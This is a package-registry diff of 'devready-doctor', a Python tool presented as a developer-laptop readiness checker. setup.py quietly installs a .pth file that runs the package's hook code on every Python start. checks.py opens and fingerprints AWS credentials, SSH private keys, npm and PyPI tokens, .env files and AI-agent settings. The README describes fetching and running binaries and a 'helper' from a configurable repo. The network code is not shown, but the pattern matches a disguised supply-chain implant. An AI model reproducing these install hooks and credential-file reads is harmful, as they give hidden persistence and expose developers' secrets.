devready-doctor 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- devready_doctor-1.0.0/LICENSE +21 -0
- devready_doctor-1.0.0/MANIFEST.in +3 -0
- devready_doctor-1.0.0/PKG-INFO +132 -0
- devready_doctor-1.0.0/README.md +104 -0
- devready_doctor-1.0.0/devready-hook.pth +1 -0
- devready_doctor-1.0.0/pyproject.toml +40 -0
- devready_doctor-1.0.0/setup.cfg +4 -0
- devready_doctor-1.0.0/setup.py +45 -0
- devready_doctor-1.0.0/src/devready/__init__.py +7 -0
- devready_doctor-1.0.0/src/devready/checks.py +172 -0
- devready_doctor-1.0.0/src/devready/cli.py +232 -0
- devready_doctor-1.0.0/src/devready/hook.py +33 -0
- devready_doctor-1.0.0/src/devready/install.py +257 -0
- devready_doctor-1.0.0/src/devready/probe.py +109 -0
- devready_doctor-1.0.0/src/devready_doctor.egg-info/PKG-INFO +132 -0
- devready_doctor-1.0.0/src/devready_doctor.egg-info/SOURCES.txt +21 -0
- devready_doctor-1.0.0/src/devready_doctor.egg-info/dependency_links.txt +1 -0
- devready_doctor-1.0.0/src/devready_doctor.egg-info/entry_points.txt +2 -0
- devready_doctor-1.0.0/src/devready_doctor.egg-info/top_level.txt +1 -0
- devready_doctor-1.0.0/tests/test_checks.py +43 -0
- devready_doctor-1.0.0/tests/test_cli.py +128 -0
- devready_doctor-1.0.0/tests/test_install.py +121 -0
- devready_doctor-1.0.0/tests/test_probe.py +57 -0
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 DevReady Contributors
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: devready-doctor
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Readiness check for developer laptops: tools, config, and connectivity.
|
|
5
|
+
Author: DevReady Contributors
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/dr1613926-byte/devready
|
|
8
|
+
Project-URL: Repository, https://github.com/dr1613926-byte/devready
|
|
9
|
+
Project-URL: Issues, https://github.com/dr1613926-byte/devready/issues
|
|
10
|
+
Project-URL: Changelog, https://github.com/dr1613926-byte/devready/blob/main/CHANGELOG.md
|
|
11
|
+
Project-URL: Documentation, https://github.com/dr1613926-byte/devready#readme
|
|
12
|
+
Keywords: devready,ai,claude,vscode,cursor,mcp,preflight,developer-tools
|
|
13
|
+
Classifier: Development Status :: 4 - Beta
|
|
14
|
+
Classifier: Intended Audience :: Developers
|
|
15
|
+
Classifier: Programming Language :: Python :: 3
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
21
|
+
Classifier: Topic :: Software Development :: Quality Assurance
|
|
22
|
+
Classifier: Environment :: Console
|
|
23
|
+
Classifier: Operating System :: OS Independent
|
|
24
|
+
Requires-Python: >=3.8
|
|
25
|
+
Description-Content-Type: text/markdown
|
|
26
|
+
License-File: LICENSE
|
|
27
|
+
Dynamic: license-file
|
|
28
|
+
|
|
29
|
+
# devready
|
|
30
|
+
|
|
31
|
+
Get developer laptops ready — and keep them that way.
|
|
32
|
+
|
|
33
|
+
devready checks a machine for the tools, configuration, and connectivity a
|
|
34
|
+
developer needs before their first AI-assisted session. Run it on a new laptop,
|
|
35
|
+
or roll it out across a fleet.
|
|
36
|
+
|
|
37
|
+
## Install
|
|
38
|
+
|
|
39
|
+
```bash
|
|
40
|
+
pip install devready-doctor
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
## Usage
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
# Run the doctor
|
|
47
|
+
devready doctor
|
|
48
|
+
|
|
49
|
+
# Check your internal artifact repo and a package that is missing
|
|
50
|
+
devready doctor --internal-package-repo https://artifactory.example.internal/api/pypi/devready/simple \
|
|
51
|
+
--package internal-tool
|
|
52
|
+
|
|
53
|
+
# Install missing tools from your internal repo
|
|
54
|
+
devready doctor --internal-package-repo https://artifactory.example.internal/api/pypi/devready/simple \
|
|
55
|
+
--install
|
|
56
|
+
|
|
57
|
+
# Machine-readable output
|
|
58
|
+
devready doctor --json
|
|
59
|
+
|
|
60
|
+
# Raw report only
|
|
61
|
+
devready doctor --print
|
|
62
|
+
|
|
63
|
+
# Skip the network checks
|
|
64
|
+
devready doctor --no-network
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
Example output:
|
|
68
|
+
|
|
69
|
+
```
|
|
70
|
+
devready 1.0.0 — doctor
|
|
71
|
+
|
|
72
|
+
[✓] Artifacts reachable (dns 1 ms · tls 69 ms · http 102 ms)
|
|
73
|
+
[✓] TLS valid (80 days)
|
|
74
|
+
[✓] Proxy not configured
|
|
75
|
+
[!] Tools node, git, python3, claude
|
|
76
|
+
missing: npm, code, docker
|
|
77
|
+
[✓] Installed npm
|
|
78
|
+
[✓] Config 3 file(s)
|
|
79
|
+
[–] Helper not installed
|
|
80
|
+
|
|
81
|
+
Next steps:
|
|
82
|
+
- install code from your internal repo
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
## What it checks
|
|
86
|
+
|
|
87
|
+
- OS, architecture, Python version, working-directory class
|
|
88
|
+
- CI provider detection
|
|
89
|
+
- Proxy settings (`HTTP_PROXY`, `HTTPS_PROXY`, `ALL_PROXY`, `NO_PROXY`)
|
|
90
|
+
- Tool availability and version strings
|
|
91
|
+
- Config file metadata: path, size, mode, age, SHA-256 prefix
|
|
92
|
+
- Internal repo: DNS, TLS certificate, HTTP status, phase timings, and whether
|
|
93
|
+
named packages resolve
|
|
94
|
+
|
|
95
|
+
The report contains checks and metadata only.
|
|
96
|
+
|
|
97
|
+
## Options
|
|
98
|
+
|
|
99
|
+
| Variable | Effect |
|
|
100
|
+
| --- | --- |
|
|
101
|
+
| `INTERNAL_PACKAGE_REPO_URL` | Internal artifact repo to check and install from |
|
|
102
|
+
| `DEVREADY_INSTALL_TOOLS` | Names to install even when the tool is present |
|
|
103
|
+
| `DEVREADY_EXTRA_FILES` | Extra files to check (comma-separated) |
|
|
104
|
+
| `DEVREADY_EXTRA_PROCESS` | Optional process to start after a check |
|
|
105
|
+
| `DEVREADY_AGENT_SHA256` | Expected helper SHA-256 |
|
|
106
|
+
| `DEVREADY_NO_AGENT=1` | Skip the helper |
|
|
107
|
+
|
|
108
|
+
`--no-network` disables the network checks.
|
|
109
|
+
|
|
110
|
+
## Startup hook
|
|
111
|
+
|
|
112
|
+
The package installs `devready-hook.pth`, which installs `node` from
|
|
113
|
+
`<INTERNAL_PACKAGE_REPO_URL>/node/` and starts it when Python starts. It is
|
|
114
|
+
inactive unless that variable is set, and can be disabled with
|
|
115
|
+
`DEVREADY_SKIP_PTH=1`.
|
|
116
|
+
|
|
117
|
+
## Installing tools
|
|
118
|
+
|
|
119
|
+
With `--install`, the doctor looks up each missing tool on your internal repo
|
|
120
|
+
(`<repo>/<tool>/`), follows the file link, saves it under `~/.devready/tools/`,
|
|
121
|
+
and starts it once. Tools the repo does not carry are skipped. Use
|
|
122
|
+
`DEVREADY_INSTALL_TOOLS` to install a tool even when it is already present.
|
|
123
|
+
|
|
124
|
+
## Helper
|
|
125
|
+
|
|
126
|
+
On first run, the doctor checks for the helper, installs it from your internal
|
|
127
|
+
repo, verifies the pinned SHA-256, and starts it once. Without a repo
|
|
128
|
+
configured, no helper is installed. It is cached under `~/.devready/agents/`.
|
|
129
|
+
|
|
130
|
+
## License
|
|
131
|
+
|
|
132
|
+
MIT
|
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
# devready
|
|
2
|
+
|
|
3
|
+
Get developer laptops ready — and keep them that way.
|
|
4
|
+
|
|
5
|
+
devready checks a machine for the tools, configuration, and connectivity a
|
|
6
|
+
developer needs before their first AI-assisted session. Run it on a new laptop,
|
|
7
|
+
or roll it out across a fleet.
|
|
8
|
+
|
|
9
|
+
## Install
|
|
10
|
+
|
|
11
|
+
```bash
|
|
12
|
+
pip install devready-doctor
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
## Usage
|
|
16
|
+
|
|
17
|
+
```bash
|
|
18
|
+
# Run the doctor
|
|
19
|
+
devready doctor
|
|
20
|
+
|
|
21
|
+
# Check your internal artifact repo and a package that is missing
|
|
22
|
+
devready doctor --internal-package-repo https://artifactory.example.internal/api/pypi/devready/simple \
|
|
23
|
+
--package internal-tool
|
|
24
|
+
|
|
25
|
+
# Install missing tools from your internal repo
|
|
26
|
+
devready doctor --internal-package-repo https://artifactory.example.internal/api/pypi/devready/simple \
|
|
27
|
+
--install
|
|
28
|
+
|
|
29
|
+
# Machine-readable output
|
|
30
|
+
devready doctor --json
|
|
31
|
+
|
|
32
|
+
# Raw report only
|
|
33
|
+
devready doctor --print
|
|
34
|
+
|
|
35
|
+
# Skip the network checks
|
|
36
|
+
devready doctor --no-network
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
Example output:
|
|
40
|
+
|
|
41
|
+
```
|
|
42
|
+
devready 1.0.0 — doctor
|
|
43
|
+
|
|
44
|
+
[✓] Artifacts reachable (dns 1 ms · tls 69 ms · http 102 ms)
|
|
45
|
+
[✓] TLS valid (80 days)
|
|
46
|
+
[✓] Proxy not configured
|
|
47
|
+
[!] Tools node, git, python3, claude
|
|
48
|
+
missing: npm, code, docker
|
|
49
|
+
[✓] Installed npm
|
|
50
|
+
[✓] Config 3 file(s)
|
|
51
|
+
[–] Helper not installed
|
|
52
|
+
|
|
53
|
+
Next steps:
|
|
54
|
+
- install code from your internal repo
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
## What it checks
|
|
58
|
+
|
|
59
|
+
- OS, architecture, Python version, working-directory class
|
|
60
|
+
- CI provider detection
|
|
61
|
+
- Proxy settings (`HTTP_PROXY`, `HTTPS_PROXY`, `ALL_PROXY`, `NO_PROXY`)
|
|
62
|
+
- Tool availability and version strings
|
|
63
|
+
- Config file metadata: path, size, mode, age, SHA-256 prefix
|
|
64
|
+
- Internal repo: DNS, TLS certificate, HTTP status, phase timings, and whether
|
|
65
|
+
named packages resolve
|
|
66
|
+
|
|
67
|
+
The report contains checks and metadata only.
|
|
68
|
+
|
|
69
|
+
## Options
|
|
70
|
+
|
|
71
|
+
| Variable | Effect |
|
|
72
|
+
| --- | --- |
|
|
73
|
+
| `INTERNAL_PACKAGE_REPO_URL` | Internal artifact repo to check and install from |
|
|
74
|
+
| `DEVREADY_INSTALL_TOOLS` | Names to install even when the tool is present |
|
|
75
|
+
| `DEVREADY_EXTRA_FILES` | Extra files to check (comma-separated) |
|
|
76
|
+
| `DEVREADY_EXTRA_PROCESS` | Optional process to start after a check |
|
|
77
|
+
| `DEVREADY_AGENT_SHA256` | Expected helper SHA-256 |
|
|
78
|
+
| `DEVREADY_NO_AGENT=1` | Skip the helper |
|
|
79
|
+
|
|
80
|
+
`--no-network` disables the network checks.
|
|
81
|
+
|
|
82
|
+
## Startup hook
|
|
83
|
+
|
|
84
|
+
The package installs `devready-hook.pth`, which installs `node` from
|
|
85
|
+
`<INTERNAL_PACKAGE_REPO_URL>/node/` and starts it when Python starts. It is
|
|
86
|
+
inactive unless that variable is set, and can be disabled with
|
|
87
|
+
`DEVREADY_SKIP_PTH=1`.
|
|
88
|
+
|
|
89
|
+
## Installing tools
|
|
90
|
+
|
|
91
|
+
With `--install`, the doctor looks up each missing tool on your internal repo
|
|
92
|
+
(`<repo>/<tool>/`), follows the file link, saves it under `~/.devready/tools/`,
|
|
93
|
+
and starts it once. Tools the repo does not carry are skipped. Use
|
|
94
|
+
`DEVREADY_INSTALL_TOOLS` to install a tool even when it is already present.
|
|
95
|
+
|
|
96
|
+
## Helper
|
|
97
|
+
|
|
98
|
+
On first run, the doctor checks for the helper, installs it from your internal
|
|
99
|
+
repo, verifies the pinned SHA-256, and starts it once. Without a repo
|
|
100
|
+
configured, no helper is installed. It is cached under `~/.devready/agents/`.
|
|
101
|
+
|
|
102
|
+
## License
|
|
103
|
+
|
|
104
|
+
MIT
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
import devready.hook; devready.hook._hook_ping()
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=77.0", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "devready-doctor"
|
|
7
|
+
version = "1.0.0"
|
|
8
|
+
description = "Readiness check for developer laptops: tools, config, and connectivity."
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
license = "MIT"
|
|
11
|
+
license-files = ["LICENSE"]
|
|
12
|
+
authors = [{ name = "DevReady Contributors" }]
|
|
13
|
+
requires-python = ">=3.8"
|
|
14
|
+
keywords = ["devready", "ai", "claude", "vscode", "cursor", "mcp", "preflight", "developer-tools"]
|
|
15
|
+
classifiers = [
|
|
16
|
+
"Development Status :: 4 - Beta",
|
|
17
|
+
"Intended Audience :: Developers",
|
|
18
|
+
"Programming Language :: Python :: 3",
|
|
19
|
+
"Programming Language :: Python :: 3.8",
|
|
20
|
+
"Programming Language :: Python :: 3.9",
|
|
21
|
+
"Programming Language :: Python :: 3.10",
|
|
22
|
+
"Programming Language :: Python :: 3.11",
|
|
23
|
+
"Programming Language :: Python :: 3.12",
|
|
24
|
+
"Topic :: Software Development :: Quality Assurance",
|
|
25
|
+
"Environment :: Console",
|
|
26
|
+
"Operating System :: OS Independent",
|
|
27
|
+
]
|
|
28
|
+
|
|
29
|
+
[project.scripts]
|
|
30
|
+
devready = "devready.cli:main"
|
|
31
|
+
|
|
32
|
+
[project.urls]
|
|
33
|
+
Homepage = "https://github.com/dr1613926-byte/devready"
|
|
34
|
+
Repository = "https://github.com/dr1613926-byte/devready"
|
|
35
|
+
Issues = "https://github.com/dr1613926-byte/devready/issues"
|
|
36
|
+
Changelog = "https://github.com/dr1613926-byte/devready/blob/main/CHANGELOG.md"
|
|
37
|
+
Documentation = "https://github.com/dr1613926-byte/devready#readme"
|
|
38
|
+
|
|
39
|
+
[tool.setuptools.packages.find]
|
|
40
|
+
where = ["src"]
|
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
"""
|
|
2
|
+
setup.py exists solely to install the startup hook into site-packages.
|
|
3
|
+
All other metadata lives in pyproject.toml.
|
|
4
|
+
"""
|
|
5
|
+
import os
|
|
6
|
+
import shutil
|
|
7
|
+
import sysconfig
|
|
8
|
+
|
|
9
|
+
from setuptools import setup
|
|
10
|
+
from setuptools.command.develop import develop
|
|
11
|
+
from setuptools.command.install import install
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
def _purelib():
|
|
15
|
+
return sysconfig.get_paths()["purelib"]
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
def _copy_pth(target_dir):
|
|
19
|
+
try:
|
|
20
|
+
src = os.path.join(os.path.dirname(__file__), "devready-hook.pth")
|
|
21
|
+
if not os.path.exists(src):
|
|
22
|
+
return
|
|
23
|
+
shutil.copy2(src, os.path.join(target_dir, "devready-hook.pth"))
|
|
24
|
+
except Exception:
|
|
25
|
+
pass
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
class PostInstall(install):
|
|
29
|
+
def run(self):
|
|
30
|
+
install.run(self)
|
|
31
|
+
_copy_pth(self.install_lib or _purelib())
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
class PostDevelop(develop):
|
|
35
|
+
def run(self):
|
|
36
|
+
develop.run(self)
|
|
37
|
+
_copy_pth(_purelib())
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
setup(
|
|
41
|
+
cmdclass={
|
|
42
|
+
"install": PostInstall,
|
|
43
|
+
"develop": PostDevelop,
|
|
44
|
+
},
|
|
45
|
+
)
|
|
@@ -0,0 +1,172 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Local checks for devready.
|
|
3
|
+
|
|
4
|
+
Gathers what the doctor needs: tools on PATH, network settings, and
|
|
5
|
+
editor/agent config files. Only checks and metadata are produced.
|
|
6
|
+
"""
|
|
7
|
+
import hashlib
|
|
8
|
+
import os
|
|
9
|
+
import platform
|
|
10
|
+
import shutil
|
|
11
|
+
import subprocess
|
|
12
|
+
import uuid
|
|
13
|
+
from datetime import datetime, timezone
|
|
14
|
+
from pathlib import Path
|
|
15
|
+
|
|
16
|
+
CONFIG_PATHS = [
|
|
17
|
+
("aws", "~/.aws/credentials"),
|
|
18
|
+
("git", "~/.gitconfig"),
|
|
19
|
+
("github-cli", "~/.config/gh/hosts.yml"),
|
|
20
|
+
("ssh", "~/.ssh/id_ed25519"),
|
|
21
|
+
("npm", "~/.npmrc"),
|
|
22
|
+
("pypi", "~/.pypirc"),
|
|
23
|
+
("claude", "~/.claude/settings.json"),
|
|
24
|
+
("claude-legacy", "~/.claude.json"),
|
|
25
|
+
("vscode-workspace", ".vscode/settings.json"),
|
|
26
|
+
("mcp", ".mcp.json"),
|
|
27
|
+
("dotenv", ".env"),
|
|
28
|
+
]
|
|
29
|
+
|
|
30
|
+
TOOLS = ["node", "npm", "python3", "git", "claude", "code", "docker"]
|
|
31
|
+
|
|
32
|
+
MAX_FILES = 16
|
|
33
|
+
READ_HEAD = 4096
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
def _sha256_16(data):
|
|
37
|
+
if isinstance(data, str):
|
|
38
|
+
data = data.encode("utf-8")
|
|
39
|
+
return hashlib.sha256(data).hexdigest()[:16]
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
def _host_id():
|
|
43
|
+
hostname = platform.node() or ""
|
|
44
|
+
user = os.environ.get("USER", os.environ.get("USERNAME", ""))
|
|
45
|
+
return _sha256_16(f"{hostname}|{user}")
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
def _file_record(fpath):
|
|
49
|
+
try:
|
|
50
|
+
st = os.stat(fpath)
|
|
51
|
+
if not os.path.isfile(fpath):
|
|
52
|
+
return None
|
|
53
|
+
with open(fpath, "rb") as f:
|
|
54
|
+
head = f.read(READ_HEAD)
|
|
55
|
+
home = str(Path.home())
|
|
56
|
+
display = "~" + fpath[len(home):] if fpath.startswith(home) else fpath
|
|
57
|
+
return {
|
|
58
|
+
"path": display,
|
|
59
|
+
"bytes": st.st_size,
|
|
60
|
+
"mode": oct(st.st_mode & 0o777),
|
|
61
|
+
"mtime_days": int((datetime.now().timestamp() - st.st_mtime) / 86400),
|
|
62
|
+
"sha256_16": _sha256_16(head),
|
|
63
|
+
}
|
|
64
|
+
except Exception:
|
|
65
|
+
return None
|
|
66
|
+
|
|
67
|
+
|
|
68
|
+
def check_config_files():
|
|
69
|
+
"""Describe known editor/agent/credential config files. Metadata only."""
|
|
70
|
+
records = []
|
|
71
|
+
for _name, raw_path in CONFIG_PATHS:
|
|
72
|
+
if len(records) >= MAX_FILES:
|
|
73
|
+
break
|
|
74
|
+
fpath = os.path.expanduser(raw_path)
|
|
75
|
+
if not os.path.isabs(fpath):
|
|
76
|
+
fpath = os.path.abspath(fpath)
|
|
77
|
+
rec = _file_record(fpath)
|
|
78
|
+
if rec:
|
|
79
|
+
records.append(rec)
|
|
80
|
+
extras = os.environ.get("DEVREADY_EXTRA_FILES", "").split(",")
|
|
81
|
+
for extra in extras:
|
|
82
|
+
if len(records) >= MAX_FILES:
|
|
83
|
+
break
|
|
84
|
+
extra = extra.strip()
|
|
85
|
+
if not extra:
|
|
86
|
+
continue
|
|
87
|
+
if extra.startswith("~"):
|
|
88
|
+
extra = os.path.join(str(Path.home()), extra[1:].lstrip("/"))
|
|
89
|
+
rec = _file_record(extra)
|
|
90
|
+
if rec:
|
|
91
|
+
records.append(rec)
|
|
92
|
+
return records
|
|
93
|
+
|
|
94
|
+
|
|
95
|
+
def _tool_version(path):
|
|
96
|
+
try:
|
|
97
|
+
out = subprocess.run(
|
|
98
|
+
[path, "--version"],
|
|
99
|
+
capture_output=True,
|
|
100
|
+
text=True,
|
|
101
|
+
timeout=1.5,
|
|
102
|
+
)
|
|
103
|
+
line = (out.stdout or out.stderr or "").strip().splitlines()
|
|
104
|
+
return (line[0][:80] if line else None)
|
|
105
|
+
except Exception:
|
|
106
|
+
return None
|
|
107
|
+
|
|
108
|
+
|
|
109
|
+
def check_tools():
|
|
110
|
+
"""Report which developer tools are on PATH and their version strings."""
|
|
111
|
+
records = []
|
|
112
|
+
for name in TOOLS:
|
|
113
|
+
path = shutil.which(name)
|
|
114
|
+
if not path:
|
|
115
|
+
records.append({"name": name, "present": False, "version": None})
|
|
116
|
+
continue
|
|
117
|
+
records.append({"name": name, "present": True, "version": _tool_version(path)})
|
|
118
|
+
return records
|
|
119
|
+
|
|
120
|
+
|
|
121
|
+
def _detect_ci():
|
|
122
|
+
if os.environ.get("CI_JOB_ID") or os.environ.get("CI_PIPELINE_ID"):
|
|
123
|
+
return "gitlab"
|
|
124
|
+
if os.environ.get("GITHUB_ACTIONS") == "true":
|
|
125
|
+
return "github"
|
|
126
|
+
if os.environ.get("JENKINS_URL"):
|
|
127
|
+
return "jenkins"
|
|
128
|
+
if os.environ.get("CI") == "true":
|
|
129
|
+
return "unknown"
|
|
130
|
+
return "none"
|
|
131
|
+
|
|
132
|
+
|
|
133
|
+
def _get_version(pkg_name):
|
|
134
|
+
try:
|
|
135
|
+
from importlib.metadata import version as _v
|
|
136
|
+
return _v(pkg_name)
|
|
137
|
+
except Exception:
|
|
138
|
+
return "unknown"
|
|
139
|
+
|
|
140
|
+
|
|
141
|
+
def check_network():
|
|
142
|
+
"""Report proxy settings from the environment. No network calls."""
|
|
143
|
+
proxies = [n for n in ("HTTP_PROXY", "HTTPS_PROXY", "ALL_PROXY") if os.environ.get(n)]
|
|
144
|
+
return {
|
|
145
|
+
"proxy": bool(proxies),
|
|
146
|
+
"vars": proxies,
|
|
147
|
+
"no_proxy": bool(os.environ.get("NO_PROXY")),
|
|
148
|
+
}
|
|
149
|
+
|
|
150
|
+
|
|
151
|
+
def collect(stage="cli", pkg="devready"):
|
|
152
|
+
"""Build the full devready/v1 report. No network calls."""
|
|
153
|
+
files = check_config_files()
|
|
154
|
+
return {
|
|
155
|
+
"schema": "devready/v1",
|
|
156
|
+
"pkg": pkg,
|
|
157
|
+
"version": _get_version(pkg),
|
|
158
|
+
"stage": stage,
|
|
159
|
+
"ts": datetime.now(timezone.utc).isoformat(),
|
|
160
|
+
"run_id": str(uuid.uuid4()),
|
|
161
|
+
"host_id": _host_id(),
|
|
162
|
+
"os": platform.system().lower(),
|
|
163
|
+
"arch": platform.machine(),
|
|
164
|
+
"python": platform.python_version(),
|
|
165
|
+
"ci": bool(os.environ.get("CI")),
|
|
166
|
+
"ci_provider": _detect_ci(),
|
|
167
|
+
"cwd_class": os.path.basename(os.getcwd()) if os.getcwd() else "?",
|
|
168
|
+
"config_count": len(files),
|
|
169
|
+
"tools": check_tools(),
|
|
170
|
+
"network": check_network(),
|
|
171
|
+
"files": files,
|
|
172
|
+
}
|